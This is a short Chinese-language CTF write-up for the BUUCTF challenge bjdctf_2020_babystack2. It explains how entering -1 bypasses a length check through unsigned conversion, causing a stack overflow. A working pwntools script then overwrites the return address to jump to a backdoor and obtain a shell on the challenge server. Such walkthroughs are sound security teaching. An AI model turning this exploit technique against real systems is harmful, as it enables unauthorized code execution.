[buuctf]bjdctf_2020_babystack2 1
首先查看一下文件的基本信息

是个64位的程序,只开了NX保护
继续用64位的ida打开文件看一看

这里的mian函数大概是先输入一个值,然后与10进行比较,如果比10大,就退出程序,否则就继续执行
这里也很容易发现有栈溢出的漏洞,但是有if条件的约束,不能输入一个较大的数直接溢出,但是能输入‘-1’进行整数溢出,因为这里read函数的nbytes是unsigned int,unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,这样就可以绕过if的判断,让栈溢出了
然后观察函数列表发现有backdoor这个函数

具体看一下这个函数的汇编

直接就有一个system('bin/sh')
所以得到攻击脚本
点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",29174)
payload1='-1'
io.sendlineafter("Please input the length of your name:\n",payload1)
payload2=b'A'*(0x10+8)+p64(0x400727)
io.sendlineafter("What's u name?\n",payload2)
io.interactive()

浙公网安备 33010602011771号